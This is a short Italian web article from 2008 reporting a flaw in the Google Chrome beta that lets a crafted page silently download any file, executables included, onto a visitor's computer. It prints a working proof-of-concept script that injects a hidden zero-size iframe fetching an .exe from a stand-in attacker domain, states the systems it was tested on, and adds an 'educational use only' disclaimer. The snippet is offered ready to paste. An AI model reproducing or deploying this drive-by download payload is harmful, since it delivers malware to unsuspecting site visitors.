|
marted́ 09 settembre 2008 |
|
Il famoso Web browser sviluppato da Google, permette ad un ipotetico “hacker” di scaricare automaticamente qualsiasi tipo di file (eseguibili compresi) sul computer della persona che visita la sua pagina web progettata ad hoc. Basta inserire nella pagina web il seguente codice: <script> document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">'); </script>
dove http://www.example.com è il dominio del sito sviluppato dall’ hacker.
Lo script è stato testato su Windows Vista SP1 e Windows XP SP3 con Google Chrome (BETA).
ATTENZIONE!
Il codice è stato creato solo per fini educativi.
Usate il codice a vostro rischio e pericolo.
L’autore non è responsabile dei danni causati dal suo impiego.
|
|
Ultimo aggiornamento ( venerd́ 06 febbraio 2009 )
|